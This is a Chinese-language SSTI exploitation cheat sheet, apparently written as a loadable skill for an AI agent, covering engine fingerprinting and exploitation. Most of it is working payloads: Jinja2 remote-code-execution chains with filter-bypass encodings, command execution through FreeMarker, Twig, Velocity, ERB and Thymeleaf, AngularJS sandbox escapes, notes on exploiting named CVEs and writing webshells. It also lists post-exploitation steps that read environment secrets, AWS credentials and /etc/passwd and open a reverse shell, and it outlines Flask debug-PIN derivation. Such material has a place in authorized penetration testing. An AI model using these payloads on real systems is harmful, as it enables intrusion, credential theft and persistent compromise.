服务器端模板注入（SSTI）检测与利用：当模板表达式…

适用于怀疑模板表达式、服务端渲染、预览功能或模板引擎会评估攻击者可控内容时，检测并利用 SSTI。

适用场景

解决思路

1. 先使用本文件顶部的多语言探测序列进行低噪声指纹识别；若在 Java 中 `${7*7}` 或 `%{7*7}` 被解析，改加载 expression-language-injection，因为 SpEL/OGNL 的攻击面不同于模板引擎。
2. 需要扩展场景时加载 SCENARIOS.md：Maccms 8.x PHP 模板 eval —— 在 `vod-search` 使用 `{if-A:phpinfo()}{endif-A}`，用 base64 绕过写 webshell；Jira CVE-2019-11581 —— “Contact Administrators” 表单 → Velocity 模板注入 → 命令输出到管理员邮件；Spring Cloud Gateway SpEL (CVE-2022-22947) —— actuator 路由注入，用 `StreamUtils.copyToByteArray` 捕获输出；Struts2 OGNL S2-045 (CVE-2017-5638) —— Content-Type 头 OGNL 注入，清除 `_memberAccess` / `OgnlUtil` 黑名单；Confluence OGNL CVE-2021-26084 —— `createpage-entervariables.action` 配合 `\u0027` unicode 绕过；SSTI vs EL 注入消歧指南；更多模板引擎：ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 通用检测 + 盲 SSTI + Flask PIN 计算。
3. 需要扩展 payload 和引擎说明时加载 SCENARIOS.md §7–§11：Razor、EEx/LEEx/HEEx、PHP 栈、JavaScript 模板引擎、通用多语言探测、数学指纹、盲 SSTI（boolean / time / OOB）、Flask debug PIN 前置条件；本技能在 §13–§15 保留简短清单。
4. 需要扩展的引擎特定指纹、payload 矩阵（Jinja2、Twig、Freemarker、Velocity、Pebble、Mako、Slim、Handlebars、Thymeleaf、Smarty、ERB、Jade/Pug）以及盲 SSTI 检测（基于时间、基于 DNS）时，加载 ENGINE_PAYLOADS.md。
5. 通用检测与盲 SSTI：先使用 §1 和 §13 的多语言 payload 与数学探测；需要更完整的盲测模式和每引擎示例（包括非 Python 栈）时，参考 SCENARIOS.md §11，并交叉查看本技能 §14 的技术名（boolean、time、OOB、error-based）。
6. 检测：先区分 SSTI 与 XSS。发送 `{{7*7}}`，若服务端返回 49（不是字面 `{{7*7}}`）→ Jinja2 或 Twig；`${7*7}` 返回 49 → FreeMarker、Velocity 或 Java EL；`#{7*7}` → Ruby（字符串中的 ERB 插值）；`<#assign x=7*7>${x}` → FreeMarker；`@{7*7}` → Thymeleaf；`*{7*7}` → Thymeleaf SpEL（*{...}）。
7. Jinja2 vs Twig 消歧：发送 `{{7*'7'}}`，返回 `7777777` = Jinja2（Python 字符串乘法），返回 `49` = Twig（PHP 数字）。
8. 安全检测探针（不做数学，只做布尔）：发送 `{{''.__class__}}`，返回 class 'str' = Python/Jinja2。
9. 引擎到语言映射：Jinja2 → Python（Flask、FastAPI）；Django Templates → Python（Django）；Mako → Python（Pyramid）；Twig → PHP（Symfony、Laravel）；Smarty → PHP（Various）；FreeMarker → Java（Spring MVC）；Velocity → Java（Various Java）；Pebble → Java（Various Java）；Thymeleaf → Java（Spring Boot）；ERB → Ruby（Rails）；Slim / Haml → Ruby（Rails）；Jade / Pug → Node.js（Express）；Handlebars → Node.js（Express）；Tornado → Python（Tornado）。从错误识别语言，再缩小到模板引擎。
10. Jinja2 RCE 链 1：通过 `__globals__` 使用 `os` 模块：`{{config.__class__.__init__.__globals__['os'].popen('id').read()}}`。
11. Jinja2 RCE 链 2：MRO 子类遍历（沙箱逃逸）：列出所有子类 `{{''.__class__.__mro__[1].__subclasses__()}}`；在列表中查找 `subprocess.Popen` 的索引（通常约 258–270，随 Python 版本变化）；执行命令（把 [258] 替换为正确索引）：`{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}`。
12. Jinja2 RCE 链 3：当 `config` 被阻止时使用 `request` 对象 globals：`{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}`（用十六进制编码避免 `_` 过滤）。
13. Jinja2 RCE 链 4：`lipsum` 函数 globals（Flask 内置）：`{{lipsum.__globals__.os.popen('id').read()}}`。
14. Jinja2 RCE 链 5：`cycler` 对象：`{{cycler.__init__.__globals__.os.popen('id').read()}}`。
15. 动态查找正确的 subprocess 索引：`{% for c in ''.__class__.__mro__[1].__subclasses__() %}{% if 'Popen' in c.__name__ %}{{loop.index}}{% endif %}{% endfor %}`。
16. Jinja2 沙箱绕过：当 `_`（下划线）被阻止时，使用 `attr` 过滤器加十六进制编码：`''|attr('\x5f\x5fclass\x5f\x5f')`；或通过 request 对象使用 getattr：`request|attr('args')|attr('__class__')`。
17. Jinja2 沙箱绕过：当 `.`（点）被阻止时，使用 `[]` 下标表示法：`''['__class__']`、`config['SECRET_KEY']`。
18. Jinja2 沙箱绕过：当关键字（class、mro）被阻止时，在 `attr()` 中使用十六进制/Unicode：`|attr('\x5f\x5fclass\x5f\x5f')`、`|attr('\x5f\x5fm\x72\x6F\x5f\x5f')`。
19. Jinja2 沙箱绕过：当输出编码剥离 HTML 实体时，使用 `|safe` 过滤器防止自动转义。
20. FreeMarker (Java) RCE：通过 `freemarker.template.utility.Execute`：`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`。
21. FreeMarker (Java) 替代 RCE：通过 ObjectConstructor：`<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))> ${br.readLine()}`。
22. Twig (PHP) RCE：Twig 1.x（沙箱前）：`{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}`；Twig 2.x 使用内置：`{{['id']|map('system')|join}}`；通过 filter map：`{{app.request.server.all|join(',')}}`。
23. Velocity (Java) RCE：`#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null)) #set($run=$str.exec("id")) #set($out=$run.inputStream)`；或更直接：`#set($class=$currentNode.getClass()) #set($rt=$class.forName("java.lang.Runtime")) #set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))`。
24. ERB (Ruby Rails) RCE：`<%= system('id') %>`、`<%= `id` %>`、`<%= IO.popen('id').read %>`、`<%= File.read('/etc/passwd') %>`。
25. Thymeleaf (Java Spring) RCE：使用 Spring EL (SpEL)，在 `th:text` 或 `th:fragment` 上下文中：`__${T(java.lang.Runtime).getRuntime().exec("id")}__::type`；片段表达式上下文：`__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type`。
26. 客户端模板注入（AngularJS）：当 AngularJS 用于客户端且用户数据流入模板表达式时，AngularJS 1.x 沙箱逃逸：`{{constructor.constructor('alert(1)')()}}`；1.5.x：`{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}`；1.3.x：`{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`。检测：发送 `{{1+1}}`，若页面显示 `2`，则 AngularJS 在 DOM 中求值表达式。
27. SSTI → 完整 RCE 路径：SSTI 检测 → 识别引擎：Jinja2 → `config.__globals__['os'].popen()` 或子类遍历找 Popen；FreeMarker → `freemarker.template.utility.Execute?new()`；Twig → `_self.env.registerUndefinedFilterCallback('exec')`；Velocity → `java.lang.Runtime.exec()`；ERB → `<%= `cmd` %>`；Thymeleaf → `T(java.lang.Runtime).getRuntime().exec()`；Angular CSTI → `constructor.constructor('payload')()`。
28. 获取 RCE 后的横向/提权动作：1. 读取 `/proc/self/environ` —— 含凭据的环境变量；2. 读取应用配置文件 —— DB 密码、API keys；3. `cat ~/.aws/credentials` —— 云凭据；4. 反弹 shell 以持久化。
29. 常见注入入口点：用户数据进入模板的位置：URL 路径 `https://site.com/home?name={{7*7}}`；查询参数 `?message=Hello`；HTML 表单：profile name、bio、content 字段；错误页 `404 Not Found: /PAYLOAD`；邮件模板：密码重置邮件中的 name；内联模板渲染 `render_template_string(user_input)`。最危险：Flask 中的 `render_template_string()` —— 整个用户输入被用作模板。
30. 通用检测 payload：多语言探测触发许多引擎错误或求值：`${{<%[%'"}}%\.`。
31. 通用数学探测用于盲/错误确认：`{{7*7}}` → 49 (Jinja2, Twig, Nunjucks, Handlebars)；`${7*7}` → 49 (FreeMarker, Velocity, EL, Thymeleaf)；`<%= 7*7 %>` → 49 (ERB, EJS, EEx)；`#{7*7}` → 49 (Pug, Ruby interpolation)；`@(7*7)` → 49 (Razor)；`{7*7}` → 49 (Smarty)。
32. 基于错误的引擎指纹（解析器/堆栈跟踪常会给出引擎名）：`(1/0).zxy.zxy`。
33. 盲 SSTI 技术：布尔型：比较 `(3*4/2)` 与 `3*)2(/4` —— 若前者解析成功后者报错，则很可能存在求值；时间型：`{{sleep(5)}}` 或引擎特定等价延迟；OOB：当直接输出不可见时，通过模板表达式进行 DNS/HTTP 回调；错误型：基于真/假条件强制产生不同错误信息。
34. Flask PIN 计算：当 Flask debug 模式（Werkzeug debugger）暴露但受 PIN 保护时，PIN 由主机特定值派生。公开 PIN 计算脚本的典型输入：1. `username` —— 来自 `/etc/passwd`（运行 Flask 进程的用户）；2. 模块名 —— 常为 `flask.app` 或 `Flask`；3. 应用路径 —— `app.py` 或真实主文件名；4. MAC 地址 —— 如 `/sys/class/net/eth0/address`，按 Werkzeug 期望转换为十进制；5. 机器 ID —— `/etc/machine-id`，或 `/proc/sys/kernel/random/boot_id` 结合 `/proc/self/cgroup` 第一行，按 Werkzeug 算法；6. 计算 PIN —— 使用实现相同算法的开源 PIN 计算器，从这些值计算。仅用于获授权测试的系统；获取这些值意味着已有访问权限或另一个信息泄露向量。

适用边界 · 注意事项

• 不要在未授权系统上使用；Flask PIN 计算等步骤需要已获得访问权限或存在额外信息泄露。
• 当 `${7*7}` 或 `%{7*7}` 在 Java 中解析时，应转向 expression-language-injection（SpEL/OGNL），不要把它当作普通模板引擎 SSTI。
• 不要把客户端 AngularJS 表达式求值误判为服务端 SSTI；`{{1+1}}` 显示 2 可能是客户端 CSTI。